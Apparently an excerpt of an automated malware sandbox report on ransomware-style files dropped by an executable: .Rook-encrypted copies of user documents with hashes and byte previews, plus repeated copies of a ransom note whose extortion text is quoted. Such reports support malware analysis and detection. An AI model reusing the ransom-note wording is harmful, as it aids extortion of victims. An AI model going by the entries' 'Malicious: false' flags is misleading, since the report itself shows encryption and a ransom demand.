SHA-512:	FE35D0F6A33E31A72595478EBC3E5A8264F5A472D0A9D3C40383E78D073B97930BE9335710B2E44F53ADDBF78F1E0E21BB09C06496FE38364412D8E9509D4EF8
Malicious:	false
Preview:	.r.....D-.{....JXWVEXMAZFCWSNOW:.KS.&/......L.HLBXCGJHPEXXNITW.T.}.n7)`Y..w\S.AJXVPGEGUUVNIULV...)>....X/1.Z.,QLFMFVJSUAERDAOE.....&...'?L...POVOPJCCCIRHICKB..zHB~...SB".5.XNGLJVGIIOILNEGRx}....%.L.?...IXQSKJBXKIFCRLYY./.O.\|...._.0.[ZAVQFYHZABDTLXVA.>p?.'k.A..Zcj..ERHWCUHUXUKEFWIV#.c.5.~..v.;IBR.AFUTOVRONZDHUXIF$....&\..NK.T;.XXSWHSGEXQUJJJPP\|>2...,t....f.$TNBTYWXROFLGNORH5.m^.3...2..e&.FZMOBYNLQKULZXGF....T!....4..?j.UKPVCPCODHNRUCNIe....&d.1..V.IKCICNBANPAFLEBC..c....{O\|..?...HJKNQCGLYXDMZXWG..e..@....../..TGWEOAMFOBBYVXBO!..^nX..7..b...0DGYSUMJSEPOOUIJX..=...)..M.s..w.DLPWJOTMIEEMHNPF.....S...%c..yQIESJYVVLEKLOMGFu8.\[..g}.S....xUDOKZQPAXNCAPSBP.4....'X.hv%....JCCAQCXTWKOWHYFP....n.,...?..WKOAZWPTIBAXVJBVT/%.HM...[...(x..JASIGFSMFGUQTTIV\....\....'....XSOZBKGHVKBXJLPU..~...........-JQRJIYYBQXNICKPC..Y.54Q...:..<u.DPXMXSNTZMUCAYAO&.!7...$..Jj2.FOUKPWZTRQWNNZMUVt...@.....m.....QPQBRRAIQVXYOMSY*v.{\|=..t...&..ZFXJJENJOZVVDSEE..],o.....RC....VIKUPOBCYKBYFFBL....#.b.

C:\Users\user\Documents\GNLQNHOLWB\UBVUNTSCZJ.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847155921014756
Encrypted:	false
SSDEEP:	96:PHpptRJdPQQsb7Ko4/AAUn5U50+NS43LPuLjv:PJpt7dPQQsqoiM5U50B43LPun
MD5:	269963A807C6A8AD711A116B28F8C15F
SHA1:	A404D311BE6F074B24F6D2C80181BE6943F9CBE4
SHA-256:	20B4FBB7D9DD918B4A0CF33400D75E4B15FFB6CFEDEA54DF13D60CDEB74C0753
SHA-512:	8B22AA23D5DA735A564CBC37AFEEBD594E5B9AD6E9A1D8FEAA276C653B0121F0E562E2B60AA252D81068076DE4C2635AB9277C9DF7E1347656BF0748529DBF2D
Malicious:	false
Preview:	....D..D.w.(.]8ZLCTIUQFFTUXDGDMI..........y.\STOXKFSFTPIFBIKUL...cz......k..EEEUNDVTZSSGPULU'..G.?.i._q.x.OQKVROLRJDHOOHJX.q.c.Xw.w... ..rEJCKLRVWCOLIIJKX....K/.K........CFIUBQJSAAGFSLSZ8....P...L....(.VRABMEABTSRVNHFA'"+..GT...z.'O.~CHWOENBPZIRFFNIB...%..".....""JYXIRUTOLTBLVSGVzp.Dj.......=..PGXTFQAUQFHGAFMB+Go..d' ...\...NIIKVYFFALFRMJLP..D78&P.......a.VCRRTIKWLRPMCWOUY..+..U.fk..y.!IZVGCFNRVDQJDBZF..M. V= ...,...:FRJEDQXOLNJKZEAK.:.S......E...@TRTDUFPLZDAQZOEV....Y......8t=.QENCESIPRLRHJPSJI..a\$..RPi\7..f.PMJSJVKIRCJDUJTB.8.n..6w<~......CATMJTIPRCDTICNCW....D._..Y..d.VRUZXEVVHOCRAMAN..0..c....{5ni@FOMUVYGSTOPSLYTHz.Y...9.....,..FBISOCNEJQIQSHCE>.!..j....A.v.W;LQLKPGBGVXXCAGMQ2.x.2.......k-1OXXERANPKKZPXOUE;.....^...b..LBBDDBNPFYMAIQEN{n..IW..8T..8..QZBZOZJSXPYCMWYG...N......E..WMREQFHKKODROXTZNL.....We..`P...RVIHZNACJEUFOKBT..*b...VB.....SNIXNUGQEZKRSOOH..kb<.=N...f.FATAIQUBESVNNUPBT.qE....H!j..:..SXPLFTUDGBIUBNBE.v....D.Y...a...UAERIXPFMGENDQBP"...1..

C:\Users\user\Documents\GNLQNHOLWB\ZUYYDJDFVF.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8411520333160825
Encrypted:	false
SSDEEP:	96:eU/mN6tOB+K7Ko4/AAUn5U50+NS43LPuLjv:eDNLkoiM5U50B43LPun
MD5:	8446444BE71D8363968BC65F1D1642E2
SHA1:	DA8585FFD341ABB28C07658CC85140A5F9D94F24
SHA-256:	F82378054DA4D7D2B6E4CE9B30ADFE6715DDDFF6818FAE886E06042905EDA6CE
SHA-512:	CCD5EB7D38F177DFC019B4CA8209F0807AFBE9A2078749735B040F28952659F3D3365B89606E047DE137ADEA1551823B1EA89F37F479BF3FDB0C8F22986E0F6F
Malicious:	false
Preview:	.j$..k.<2....wb.HHOQXTSNPBHYEJCGjz.v.h.~5.L..._.XFIJJCFHWLJBBRXP..m...Z.:......KGXPKCSIOJRJCOVG...CO.?......!.HHZFMUPHPRIFMSBK....T12D.7.s5.1.KTIZUBENVCKWONAEA..nZ.%..@..mC..WHRSKEJQGLMLFOVZ.5y....9]..j...NRPCFRMXETXWVNWK.....p.).......RPKNHHHPCBRHKGMA..qNV...I....6.QHPHINYNDKJANQJM...uY.'.......JCAYSHYANULGFODY..YgP.t,..."....ZLWLFIJAJVRDKLPM...?.I..~...E .PGQYOOPFXNAPEUAO..!.Z.....Z...JJSMKMKLLVJGEXPDc...Te.>.U^....~HDXCGDXDDDRPHFMGl\.u`...w..(Y..YZDVVDKDTUHIWYOX..g.%y@.B@...p.ZYOLJYMXKJBINMTA.\...$;TY....\|ZFPZEAAQCBOJUMGWz.h}..@F.r`.]..pNPHYCLFFMVQNVWRZ.K...U....K..w.PWNGFFAXTNIPSIXU.>. ...'.......INIWMMVVOLFCVETM.........d. ..KZBACESLDLZKGFPY.(...].Z......dDVXDZIDWPYWGIVQJL[`...=....R....YYZEBWXZGOHXIBTI...@F.k}...iq...DHJUGEYGGJHUMVIY....1/..]VZ..R.ZIYSURLCGHWJYDTFJr.y...b..-....6HELNDROMZYRVVGUD.f........./.G.MSNQTGPQCPSMWKUY..q"._...l.g.Z$.FLWZYBYCJBNYYIUS.C..W.w.....v\.HZQTCSUOROWJBLYK..].s.....s>d...YGWTHBHUFFQSHCUNB..3^Ot...4V...RGAFHTOABWPHIZIR....ysm.

C:\Users\user\Documents\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\IZMFBFKMEB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.854573852691597
Encrypted:	false
SSDEEP:	96:I01j4uPd5PjPr7Ko4/AAUn5U50+NS43LPuLjv:/18ulV6oiM5U50B43LPun
MD5:	F96EF0896AE938BFB09041877DB78745
SHA1:	06F0D1033A8831A470961493C872192B71DB2C90
SHA-256:	698B80D599CB05765DE453D3A1DE4D21C84A20BC6125E180637ABAC4B9912AED
SHA-512:	D0B706E8DB552D6080628B421E2A6A620CE6BE3EAAC938913956101D76EB72A42A4ACA8A3022A7B60B7C1AD236D91DB7CDC71197C0BB13F83038DE6D483B3A82
Malicious:	false
Preview:	..o.....h`..>\NfYOGRJOKLUYKYEMJU.p3.\|........"JLZNUOXWVNDZJRAOO.A.zw..HAY.F...PDNPIJFFQZDETQFK.m...U....n...aNOXAVBJCARKFOKHIV...x<..p...4...SEFFASUHHMDHUBAMr.M.........+..LTUEBNLLDQOMZLGI..0f..B...9i?..QAWHNDDSWUDEYOPP.u.\|4I..Z.Q..B HPIWYDNDHUXDNYSL.......$..oX...HEOVRBHVMIEIIBHEP.if.-..\|q-L.}XFOLUTZDUOKAMBBJ..0....;.."...JGMPZZSAVFTSOBTV.....p0g:.[N7gUHYKYXWZSTJELLKR..O.Gt.3u.}w]p.TDAKMVDVNYWADPMN..ku..I..p.....HCRSDUXMKTYASRRO)x.cC./...c..>.OIBCKWHWPTJGKEQO...%X....{....n.YSUWDEDDGTJHWLZY..].......>.=Bz.EAZUDOXSWLHJDIGS....qx.8m.....aeAQHXCOAVPDFCQIEH......\|....F=u..SPHGVTEDVHAWYWOO5..Q....:..klb.IJQGRICKYUZPXLOZeZ/....Y...5..UVJTEOTDEYCCRPCVC.....0....'..2.WLNMYIPCOLYFBDDS.j.@.4....L..\|.MSUSNBSGLDTYGEEB.5..>....'...~.PRTVXERTMYQWIYUTz..@...o....k"*5XMIYKWUXJBHOCOBA1.}A..`..RHBkL.^BPSQGRQDABKLPWJJ...mD...fO..!...CHHDVYXDYYIUIOZD...l7:.&.1w...>.JFMZOMVLIYUHJEAMt..x..'......z.KHILQWXCRKUPFLJKc.....3........HJWSBCSSQMNJANAD}..2...B..1....ZETZWJFUFSMVAZQX...=a.W.

C:\Users\user\Documents\IZMFBFKMEB.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.840439036662124
Encrypted:	false
SSDEEP:	96:Rhu3x825SVX7Ko4/AAUn5U50+NS43LPuLjv:nu3xvoV2oiM5U50B43LPun
MD5:	C09870B7C4D76C338CDE5C46BB4214BA
SHA1:	994EFDA5338554D4FDF903ABFF932EF23403202E
SHA-256:	DC4376D061D1B943C7C99DEB9A4E49666B2C608A41A3F5DFA31888D4E94F599F
SHA-512:	676E02B3DED077E23E10DD50AFDFAD7731CF202A5E8C6208DA7EBDF5887C7027E2F27A07C78B354D42B63E02A99C7EC6AC9A9E4B1863AA77D8EF3AE392CC4A5B
Malicious:	false
Preview:	=<Bn<v.-..W.HO..YOGRJOKLUYKYEMJU..f...v0......\|LZNUOXWVNDZJRAOOP^..\|=..c<>u.)..PDNPIJFFQZDETQFK.!A.d.['...\|_...NOXAVBJCARKFOKHIh.....Y..M..Y.SEFFASUHHMDHUBAM.@..R..V.......LTUEBNLLDQOMZLGI.A.D.......#..y.QAWHNDDSWUDEYOPP.f9.0.#.V.3>..HPIWYDNDHUXDNYSL{[%.(.Q.#...b.6HEOVRBHVMIEIIBHE....c.NU[..J...XFOLUTZDUOKAMBBJL.......a....b}.JGMPZZSAVFTSOBTV..s...Yn.$....l0UHYKYXWZSTJELLKR.....y..h..G.w.TDAKMVDVNYWADPMN.(.... 4j..>..7HCRSDUXMKTYASRRO'.g.}.~.K8.o.2.wOIBCKWHWPTJGKEQOB.. ;...}..g..%LYSUWDEDDGTJHWLZYQ._x)....N...p/.EAZUDOXSWLHJDIGS.PZ @......n.k..AQHXCOAVPDFCQIEH...(..z..m.cU+..SPHGVTEDVHAWYWOO..[..{..;....H8.IJQGRICKYUZPXLOZ.....iE....p.qUVJTEOTDEYCCRPCV.2P../n.h..}.V.WLNMYIPCOLYFBDDS.y...I1.._..e.@.MSUSNBSGLDTYGEEB...s9+A'<'......PRTVXERTMYQWIYUT^.u.q.p.fJ.]...XMIYKWUXJBHOCOBA....E.V^O.i....BPSQGRQDABKLPWJJ....F.B..<w..s..CHHDVYXDYYIUIOZD......h.m.?.d.*JFMZOMVLIYUHJEAM.d..2...Fv..(.nKHILQWXCRKUPFLJK.Y...k.$..N.C.HJWSBCSSQMNJANADh.t.J.[./..:S..CZETZWJFUFSMVAZQXT.....P.

C:\Users\user\Documents\IZMFBFKMEB\BWDRWEEARI.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838264008762533
Encrypted:	false
SSDEEP:	96:DeNMlvm/pf2c7Ko4/AAUn5U50+NS43LPuLjv:DKO+VIoiM5U50B43LPun
MD5:	470E0C0E76391C1103EB65615D020579
SHA1:	E45A8019EFB0685A54E11FDB513D5A28866E6F22
SHA-256:	2F724014D976E8F379D10B006674BE56666D22A608376D7B8677E63F6FBFD510
SHA-512:	2073BFA3B0DD31AD96FDE733CB2D58EB8488A7932BCC53375E0D5279ECD3EE5DFD9A2B39D5C36D945DC2BC84B25C2A59147AC9CE93DE32C4DE8FD2C1B131EFF3
Malicious:	false
Preview:	.3..J+..k....}mAYFZKKDZROVEXHIWVG6.{.^.{}..%].`.UARELJDXJXCSHTPH>w..g.+..,...bSWGLMRRJSEIGOIXH..6#..O..scS.%.EYRRCAEYIYIDAZFY5.BA.X.Z8}@f3..QIAICZQWEBEGEFKV..c],..t.GK.[.VMUNNYYOCDVZVNLFB.[...l.+D..b,B.DRJAHLNPQBHYCZTYK..7.H..Sl.".VLMPPSQZAAYPORMHI. Q.IQ.^;.(....gFIRXNFDVQZSZAWNV...Z..[..9.M.@.fNFJJZSUQWRBLHJRB..$R7..r.;VG;..YNHPPIXZOEZBTJVV].1n....S..9...TZPXEFMEGBQIWJWE...b`4E.u~..p4..VBYCRJHEAPKMQTFB.e......P...3..FKBIVGOEKQTPROWJ..\...X....']d.DOYJHFLFDPWAUBFZ5........;K...EFIGEXIWYKDNDXZD.....,9..[....7GEYCOTPSHBIHWNMF.0kQ.IB../d.D."XRDUTNEVIVXRZAFT.H......"jg..NNFAZREEJMMAYLCE.Sg.Z.Vo2...\l..AUDJBTIBXIGLQAUAki%..p.....l+.AVBCBZQUROXOPVYH.... P...~..E.R.VEVNCAEAGPJZDVRS.[.}..6p.J1.I..3SKDCSULRFDCPIFAQxl.........YU%..JQFDAXWIIRQOXDDH..h=.>..w...<./.MTWWPRGTZDPGWXXO..k{M....)...j=.UJGTQKFTJYBFZUIM1...\..%...../ARSFZXSFZBBCYPRSA./...R..z^.v..REJOCEEMMPDKFUGG.p......wn.Y3.N#KBUNLSSHRUSLHBDF...@5.......CHGINQIOTMAKGKPQ...I..+...K....XUPKQZAJUMMQGLLGAb.,..i.e

C:\Users\user\Documents\IZMFBFKMEB\DUKNXICOZT.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83849371199353
Encrypted:	false
SSDEEP:	96:ng44pcsu37Ko4/AAUn5U50+NS43LPuLjv:n9ocsDoiM5U50B43LPun
MD5:	7DA5780300BF948A074EE39D04E3CB5E
SHA1:	18CBD0802CA1490B483D5D36F6FB4DD2771A3B3B
SHA-256:	ED0A75D181CECF38822B4F2299B51B00F3D0EE8F9C9F7449B66744029D623A4C
SHA-512:	4AAD9F59347BA66AFF93160DC82FCDF9261EE15E6375BF508D9B9D1AEA147472E482A33513D1CEE0179F6EFED051B9570B36C43B4C9AAF7FFBD7B0DD7E7CCD30
Malicious:	false
Preview:	.<.F.A......:.wzRQNKVCEQUFBSMCGT.+\|.'...#.O.\.YDHXTQPNHHFHJTMIr.......X....P.IPWCYHGFUQMXUYJBSry.:P....;S.z.}AXLAZTIQUNTNPGERd..o.\@.......'-UNSGUFMHVRZKTGCT.T6fc.W..$.L.9.TSLPJQVAUHFJGITHWo..!......[7O...UCPJMVLNEPNKDIZKP...nA..wC...a6RLUSQRQMRUGCFVVH...E!..... <5..SYOTZHCRWDCIILVD...w:..-.....H.uKZLEBJFPCBFWGQGW%..}F......;X!.QSQGDDEIOTQFNFCPB...D.]...~.5}.YAPHBDYRWVLPTNZQ8f.. ..<....$M..OHUQUMEVRRXBUGYM..(.. .`..9.*..TODUBHKLIIDLWFSV ......F.....z;AGSWTRHIIZFLUSWO..QY..mx.'.1.W..RRYRKRAUTQQLIUHDC.c.b....2@....FTTKYLQLJJTEVOLXx/%............LOLZCIBSUKLPDJXJ..u]">R.I.C..c..OMTIWZMXNMUQTDLW....].^.=&9.....DSWMKJERKRVNPKGT.4..8..O.I..0.}.MUUYOBVXGHJPZEQK..9.ph..sHX.hN.ZKEDUCRZKCLMBUTI...G{.S.\|.)..o..SVSHOIOGCLWGQOYR.`^.......$bf`.TSTZBWQMCLPDYWEX....Ex..<...hF.DHOPGLEHJPRKNWCK..(...h=..t.6.~.NVXHVKISJRPDYQBK........v.&hb...FTFSIVNPFOAYLIRB..........{.....JPFGRFFPXAQEEPWY....>..m.Y.TL..RCBJRORHQBKISQFFU.DOp..;...$.7ETKBEANFDVZBQHUO..~.-..........JEEGGSIDPOLYQHTC.9....B

C:\Users\user\Documents\IZMFBFKMEB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\IZMFBFKMEB\IZMFBFKMEB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836628383094735
Encrypted:	false
SSDEEP:	96:08WHyIYQyCBoGYvW2Y7Ko4/AAUn5U50+NS43LPuLjv:08WHyIb1BoBvWcoiM5U50B43LPun
MD5:	7B780D1502403A2B910EE0AD2BE8B904
SHA1:	4DD6C63B2C3D3C5ED09CEA6A088C63E3B852F6A2
SHA-256:	5AF4F4CE7FE671EF6D1B70400C7C7B9313AC92A7DD3CF753290ABEB9FBEADED6
SHA-512:	8B8A535B88FFD73E335AD1980CFA1863E6382B53B510D1874138853A372388BBC214B50B23864F220E5F67077EE737D6E2E039400F3E69AA50B035D2B049D8A3
Malicious:	false
Preview:	......_.....B.Z.YOGRJOKLUYKYEMJU.h@./W.F.!T..QLZNUOXWVNDZJRAOO..M[G.IZ..... NPDNPIJFFQZDETQFK?.....O }...FW.NOXAVBJCARKFOKHI...ruaom.......SEFFASUHHMDHUBAM..j...b./.3...LTUEBNLLDQOMZLGI. z.>....[.\|....QAWHNDDSWUDEYOPPv".RzS........)HPIWYDNDHUXDNYSL.......T..U0..\HEOVRBHVMIEIIBHE..=..4.g%...#kY.XFOLUTZDUOKAMBBJb..rz'...6o%T.g.JGMPZZSAVFTSOBTVmv.BY.Y.9e."s#.]UHYKYXWZSTJELLKR.m8oI.\w.:.3H.y.TDAKMVDVNYWADPMN...]D...@.....~dHCRSDUXMKTYASRROG... e5l..m.0...OIBCKWHWPTJGKEQOb.M...zH..P.=.PYSUWDEDDGTJHWLZY*-....Y.....:.(EAZUDOXSWLHJDIGS...[_<\.. $....wAQHXCOAVPDFCQIEH,(.e.&.N..+..`bJSPHGVTEDVHAWYWOO.S.~.!X..I.+..E.IJQGRICKYUZPXLOZ....J....`.B...UVJTEOTDEYCCRPCV...:H....~(.\|8pWLNMYIPCOLYFBDDS>FM.X..F...Tn.u.MSUSNBSGLDTYGEEB..?..6..Q.r..F.^PRTVXERTMYQWIYUTf.d...J4(.7.D..XMIYKWUXJBHOCOBA.....,.{..>..mBPSQGRQDABKLPWJJ...F..N[..<...P.CHHDVYXDYYIUIOZD..C..y...N....gJFMZOMVLIYUHJEAM(....^p.9..j.x.+KHILQWXCRKUPFLJK../..[sa{.N.....HJWSBCSSQMNJANAD%.oH..$.._....'.ZETZWJFUFSMVAZQXV..r...

C:\Users\user\Documents\IZMFBFKMEB\OVWVVIANZH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847108831031944
Encrypted:	false
SSDEEP:	96:6N+Boj8NMCq7A7Ko4/AAUn5U50+NS43LPuLjv:6Y+8jq7/oiM5U50B43LPun
MD5:	5253C5BBC868075F2293153E0FD984A6
SHA1:	4BBEDD9081DADAEF1538DA2D8689BACB460F2438
SHA-256:	1D7FEA69D7496D7BA0B222591CDD59C0835EA8059046487AC231AD11C4ADFD70
SHA-512:	F946F605A272F23CD590970082C101A5FC4DE0E77F01F23AC93B96FF720223098B7A40CD9793702D472F4F3719422C38344BBF25EA2E0C78FB1BF7F3D6E2C533
Malicious:	false
Preview:	..[.<h......\|.ynSTOURHCRPQFPUVPQ ..[J.....37..!AKSTBWQDGWLQAPUA...X..9..b...3KYPRDWJTBAMULTFVF..m,9.k.>......HOXDUULNIZUDQBKQ.G...pe........QPUQXHVAAOZKSYSCX$.bm..#...v..$.DGZRWAMXCBJWGDREu...b=..s.a.Od..AZPTRPFOAYULIBES._..L..P..rt...-CRYBJMRVOQHZZPXO....,6.J.>.@...TYOPYRBXWXWVNIPQ..%.3W...h!..5MQTOCCFGYBYKVYAL.;..g...C[1..4.EWRBFDABMGAWEVCS../ ....e@.opG:.TJHMTXSDZQTDJQCQ. ....(oct[....JECILZUGNSGYVOHG.8..I#......I.uMVXITVRPWWPLUEER....i.qu./...PGGXTTLWNZRFYGVS...kR.k..W...P.yDAQOKPMGHNINOQNHfI.5...&..`1..w.TAXZESTKIFXQCXDN..Y.+.$j.k..n.AMJWDGQGWCPOBTPX.........#.1..VFMEXBWRHJBXLQDH....F;.z.-.(>#..MXBWHFLKLIAGAKQD.5I......).Fg..DAPPBPGCQOOHWDCBH...........t.Y.IOWZLTAIDMXYARRY...z..Q`..j...._DUPRLWSKRGCTTIQD.tT..lr\|h...2.PZQLSWEVBDZXVQAO..:S.......O.m~VAVBHEKYBUXNMLAWI.7.=.r........JAYUVNUWQQYOHHWR.*,.....9V..8'.ZWHPDIXDEWDCNYUX..mI8Y.tK.vt2 .FVNOOCASKUTHAZVXP......G../!...FBGIZKVUDLFYSFJX.T...4/...Q....sBTNPDEUUEDDRJHFX...!p.-b,l.?D#cQJTNTOREWWDDTIVJ..eo-.g8

C:\Users\user\Documents\IZMFBFKMEB\UBVUNTSCZJ.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836786539975211
Encrypted:	false
SSDEEP:	96:AH5DmkWG+snE1MB7Ko4/AAUn5U50+NS43LPuLjv:E2G+snmMwoiM5U50B43LPun
MD5:	68505379A54DE0D779C78D5031027E38
SHA1:	A47353525142160BCAD27BA541F70C012928D97F
SHA-256:	38F7C8425D3E2FB0F32B7682877414FBFE586B631A5FC11EB3869A7C59CEE9DD
SHA-512:	A5147F0AE40A1E61DEE063AF3E036D86AE8B1163222095AA06DAD41FCA04C2E2D57A673EE1E0A6063BAEEFC4A279A301991FD04C657132C51621CFDD5BD8D5A2
Malicious:	false
Preview:	...@5j:.^L.]1..ZLCTIUQFFTUXDGDMJK..........X!STOXKFSFTPIFBIKUl...)..XZ.A....EEEUNDVTZSSGPULU.......E.W.AAF^OQKVROLRJDHOOHJX.$X.oA9I..M8....EJCKLRVWCOLIIJKX.+=Q.K..pv....`.CFIUBQJSAAGFSLSZ.i.V....D.".K.mVRABMEABTSRVNHFA.....+..".%.6..CHWOENBPZIRFFNIB.M ..LE...<.p.hJYXIRUTOLTBLVSGVV...$f'8..)n.H.PGXTFQAUQFHGAFMB.M^fQO.......".NIIKVYFFALFRMJLP...e+.g.3......nVCRRTIKWLRPMCWOU. ....T[.0.....IZVGCFNRVDQJDBZFn;.1o...jK@Z..FRJEDQXOLNJKZEAK..H.....d.8.....TRTDUFPLZDAQZOEV..W.. ..tX@....ENCESIPRLRHJPSJI..t.8...u..P._"PMJSJVKIRCJDUJTB.Q...c7YQc...E=ICATMJTIPRCDTICNC.I...{......G..VRUZXEVVHOCRAMAN5.~.P....[.!C.FOMUVYGSTOPSLYTH.F..<.0../d..-.FBISOCNEJQIQSHCEx.F....(A....5..LQLKPGBGVXXCAGMQ2Q..B.}...H28.UOXXERANPKKZPXOUE..G.4.T$s.#v\|.`.LBBDDBNPFYMAIQEN.....7...2....RQZBZOZJSXPYCMWYG].s\..w...A..$?.MREQFHKKODROXTZN...L..`..e.59...RVIHZNACJEUFOKBT....K.)."a.../.SSNIXNUGQEZKRSOOH[...V.6.Gi..0.ATAIQUBESVNNUPBTqT.Dz(..1..S...SXPLFTUDGBIUBNBE.I...;..+p....UAERIXPFMGENDQBP....$.@@

C:\Users\user\Documents\IZMFBFKMEB\WHZAGPPPLA.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8431970433870974
Encrypted:	false
SSDEEP:	96:tOujTiS4+kGN47Ko4/AAUn5U50+NS43LPuLjv:0jvGJoiM5U50B43LPun
MD5:	F7C26B379E8B3A57410153B872286499
SHA1:	AC28FDF760606DC602294A3338C040D1DF8F94ED
SHA-256:	2E28847BCB2F486621217D76BEE125420A42D0DD52116265B49F5A32B3A444EA
SHA-512:	2C93BEE503ED188173690A1160399128307D14831911E298EF0B6CE85978480C99A3FDC349574D1F807D10643BA24AC6F9C16BA894DC5707E2284492542D9CFB
Malicious:	false
Preview:	0c6....b.e....kCUNPWLIPSTKGXJJHK.7....P"..I...GJNKLAQFLYRVIJCX7K....'Cx@e/'..NOFPUXUNJELZTWLSC.Jf...c...r...EBDBXTJOVUOJXAJY[...........].9LKJEEOPCASTYPHMC..0..R M)..w..rRYULUACRKXOWBGJZI.7.*.t.!.s..h.LDGGSFEIUJILBDVWqn.<U...$...zwEYCOULLKZCWMCRHT5.&..2..gg....9.WBEBYBIVIWOONLTP20.Q......0...z.ALXTTAMSNCLYYGZF&../..9..,FjL`..DMKNPRJNGLGUCIEK....).?.....[..ZUTQMJOYVJRXYMXA.d...P(........pTYDTHAODYZHZCXKV..+.<@......0.XLRQAUCSMTNYWFMI....,G...<.TwEzGQWCINLCVUOJQWDBR.9.[p\|.]......IVUSEYMOHMSBEVQJ....U.1uP3.9..cGJXXWFMWUETTDXDG.O.y..M.kV.K...XBVHRNMBLWUTKNBA......TH.....f.OYLRNYFEOQEYSVVJ)=.M...>....[7..DAYWFNMFUJJOVHNGK......j...3.u.IKLOLJVADGGUCRVF8.`....[d.....KMLOAVJEDFLOCVQFXf.i`lh@_..@.Ws.BTGGQRJFISGOPPIV.v..rM...W....buSBSTYAHOEBQCZKPU...k..=........AMKEYIXMDRHNJVKS......;.O.zQ/.<PSNRHWMQQWQPYJJK.............zKKTJSOYKCXCOSJQS........C.+....ICHUHDTCRBUSPJLW-5...'.._.).6.}.XGKKKGADJYISDOMZ.....=(.&....Mm.NMBGQFXPSONUPKDH..AZP.'.jDM 6.;-SCOZNIWFCCCOSZFNj.....0M

C:\Users\user\Documents\MIVTQDBATG\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
